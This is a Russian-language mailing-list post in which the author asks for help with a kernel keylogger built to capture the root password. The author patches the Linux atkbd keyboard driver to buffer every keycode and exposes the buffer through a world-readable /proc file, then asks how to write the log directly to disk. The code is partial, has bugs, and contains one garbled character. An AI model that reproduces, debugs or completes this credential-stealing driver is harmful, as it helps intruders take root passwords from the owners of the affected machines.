Здравствуйте.
Решил написать клавиатурный шпион, который будет записывать пароль roota.
Основной вопрос - как сохранить данные на диск?
В драйвере клавиатуры /drivers/input/keyboard/atkbd.c я создал файл в файловой
системе /proc - atkbd_init(), и ввёл операцию чтения - module_output(), в которой
буфер с символами - log_buf передаётся в user space. Что-то в этот файл пишется,
но явно не то, что надо.
В чём ошибка - неправильно работаю с /proc FS, неправильно считываю символы (функция
atkbd_report_key)? Что надо исправить?
Может быть сохранение данных лучше реализовывать по-другому, не через /proc FS
?
Как сразу из драйвера записать данные на диск?
#define BUF_SIZE 80
static struct proc_dir_entry *Our_Proc_File;
char log_buf[BUF_SIZE];
int log_index=0;
static void atkbd_report_key(struct input_dev *dev, struct pt_regs *regs, int
code, int value)
{
input_regs(dev, regs);
log_buf[log_index]=(char)(code&255); //заносим в буфер коды клавиш
log_index++;
if(log_index>=BUF_SIZE)log_index=0;
if (value == 3) {
input_report_key(dev, code, 1);
input_sync(dev);
input_report_key(dev, code, 0);
} else
input_event(dev, EV_KEY, code, value);
input_sync(dev);
}
#define PROC_ENTRY_FILENAME "rw_test"
static ssize_t module_output(struct file *filp, /* см. include/linux/fs.h */
char *buffer, /* буфер с данными */
size_t length, /* размер буфера */
loff_t * offset)
{
static int finished = 0;
int i;
//char message[MESSAGE_LENGTH + 30];
/*
* Для индикации признака конца файла возвращается 0.
* Если этого не сделать, процесс будет продолжать
* пытаться читать из файла,
* угодив в бесконечный цикл.
*/
if (finished) {
finished = 0;
return 0;
}
/*
* Для передачи данных из пространства ядра в пространство пользователя
* следует использовать put_user.
* В обратном направлении -- get_user.
*/
//sprintf(message, "Last input:%s", Message);
//printk("log_index=%d\n",log_index);
for (i = 0; i < log_index; i++)
{
//printk("i=%d\n",i);
put_user(log_buf[i], buffer + i);
}
/*
* Обратите внимание: в данной ситуации мы исходим из предположения,
* что размер сообщения меньше, чем len, в противном случае сообщение будт обрезано.
* В реальной ситуации, если длина сообщения больше чем
* len, то возвращается len, а остаток сообщения возвращается
* на последующих вызовах.
*/
finished = 1;
return i; /* Вернуть количество "прочитанных" байт */
}
/*static ssize_t
module_input(struct file *filp, const char *buff, size_t len, loff_t * off)
{
int i;
for (i = 0; i < MESSAGE_LENGTH - 1 && i < len; i++)
get_user(Message[i], buff + i);
Message[i] = '\0';
return i;
}*/
/*
* Эта функция принимает решение о праве на выполнение операций с файлом
* 0 -- разрешено, ненулеое значение -- запрещено.
*
* Операции с файлом могут быть:
* 0 - Исполнениеe (не имеет смысла в нашей ситуации)
* 2 - Запись (передача от пользователя к модулю ядра)
* 4 - Чтение (передача от модуля ядра к пользователю)
*
* Эта функция проверяет права доступа к файлу
* Права, выводимые командой ls -l
* могут быть проигнорированы здесь.
*/
static int module_permission(struct inode *inode, int op, struct nameidata *foo)
{
/*
* Позволим любому читать файл, но
* писать -- только root-у (uid 0)
*/
if (op == 4 || (op == 2 && current->euid == 0))
return 0;
/*
* Если что-то иное -- запретить доступ
*/
return -EACCES;
}
/*
* Файл открыт -- пока нам нет нужды беспокоиться о чем-то
* единственное, что нужно сделать -- это нарастить
* счетчик обращений к модулю.
*/
int module_open(struct inode *inode, struct file *file)
{
try_module_get(THIS_MODULE);
return 0;
}
/*
* Файл закрыт -- уменьшить счетчик обращений.
*/
int module_close(struct inode *inode, struct file *file)
{
module_put(THIS_MODULE);
return 0; /* все нормально! */
}
static struct file_operations File_Ops_4_Our_Proc_File = {
.read = module_output,
//.write = module_input,
.open = module_open,
.release = module_close,
};
/*
* Операции над индексной записью нашего файла. Необходима
* для того, чтобы указать местоположение структуры
* file_operations нашего файла, а так же, чтобы задать адрес
* функции определения прав доступа к файлу. Здесь можно указать адреса
* других функций-обработчиков, но нас они не интересуют.
*/
static struct inode_operations Inode_Ops_4_Our_Proc_File = {
.permission = module_permission, /* проверка прав доступа */
};
static int __init atkbd_init(void)
{
int rv = 0,i;
Our_Proc_File = create_proc_entry(PROC_ENTRY_FILEN�ME, 0644, NULL);
Our_Proc_File->owner = THIS_MODULE;
Our_Proc_File->proc_iops = &Inode_Ops_4_Our_Proc_File;
Our_Proc_File->proc_fops = &File_Ops_4_Our_Proc_File;
Our_Proc_File->mode = S_IFREG | S_IRUGO | S_IWUSR;
Our_Proc_File->uid = 0;
Our_Proc_File->gid = 0;
Our_Proc_File->size = BUF_SIZE;
for(i=0;i<BUF_SIZE;i++)
{
log_buf[i]=0;
}
if (Our_Proc_File == NULL) {
rv = -ENOMEM;
remove_proc_entry(PROC_ENTRY_FILENAME, &proc_root);
printk(KERN_INFO "Error: Could not initialize /proc/test\n");
}
serio_register_driver(&atkbd_drv);
return 0;
}
-*Название листа "Linux: разрешение вопросов, перспективы и общение";
Написать в лист: mailto:comp.soft.linux.discuss-list@subscribe.ru
Адрес правил листа http://subscribe.ru/catalog/comp.soft.linux.discuss/rules
Номер письма: 28037; Возраст листа: 1161; Участников: 1704
Адрес сайта рассылки: http://www.linuxrsp.ru
Адрес этого письма в архиве: http://subscribe.ru/archive/comp.soft.linux.discuss/msg/595296